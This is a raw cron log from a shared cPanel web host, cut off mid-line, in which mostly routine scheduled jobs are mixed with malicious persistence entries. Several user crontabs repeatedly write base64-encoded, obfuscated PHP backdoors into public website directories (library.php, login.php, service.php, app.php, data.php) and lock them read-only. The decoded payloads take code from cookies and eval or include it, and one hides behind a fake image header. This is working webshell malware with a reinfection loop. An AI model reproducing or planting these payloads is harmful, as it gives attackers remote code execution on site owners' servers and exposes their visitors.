Apr 19 09:28:02 medusa CROND[25755]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 09:28:02 medusa CROND[25758]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Apr 19 09:28:02 medusa CROND[25747]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 09:28:02 medusa CROND[25764]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 09:29:01 medusa CROND[17770]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 09:29:01 medusa CROND[17771]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 09:29:01 medusa CROND[17772]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 09:29:01 medusa CROND[17773]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Apr 19 09:29:01 medusa CROND[17774]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 09:29:01 medusa CROND[17777]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 09:29:01 medusa CROND[17779]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 09:29:01 medusa CROND[17781]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 09:29:01 medusa CROND[17783]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cleanuserphpsessions.cronlock /usr/share/cagefs/clean_user_php_sessions)
Apr 19 09:29:01 medusa CROND[17784]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 09:29:01 medusa CROND[17785]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 09:29:01 medusa CROND[17791]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 09:29:01 medusa CROND[17793]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 09:30:01 medusa CROND[10440]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Apr 19 09:30:01 medusa CROND[10448]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Apr 19 09:30:02 medusa CROND[10484]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 09:30:02 medusa CROND[10665]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 09:30:02 medusa CROND[10666]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Apr 19 09:30:02 medusa CROND[10667]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Apr 19 09:30:02 medusa CROND[10669]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 09:30:02 medusa CROND[10670]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Apr 19 09:30:02 medusa CROND[10674]: (servichina) CMD (php -q "/home4/servichina/public_html/wp-cron.php")
Apr 19 09:30:02 medusa CROND[10672]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Apr 19 09:30:02 medusa CROND[10676]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Apr 19 09:30:02 medusa CROND[10680]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 09:30:02 medusa CROND[10677]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Apr 19 09:30:02 medusa CROND[10684]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 09:30:02 medusa CROND[10688]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 09:30:02 medusa CROND[10696]: (artconc) CMD (/usr/local/bin/php /home13/artconc/public_html/apis/clima/climaop/curl.php >/dev/null 2>&1)
Apr 19 09:30:02 medusa CROND[10692]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 19 09:30:02 medusa CROND[10690]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Apr 19 09:30:02 medusa CROND[10689]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Apr 19 09:30:02 medusa CROND[10702]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 09:30:02 medusa CROND[10704]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 09:30:02 medusa CROND[10705]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 09:30:02 medusa CROND[10708]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 09:30:02 medusa CROND[10700]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Apr 19 09:30:02 medusa CROND[10720]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+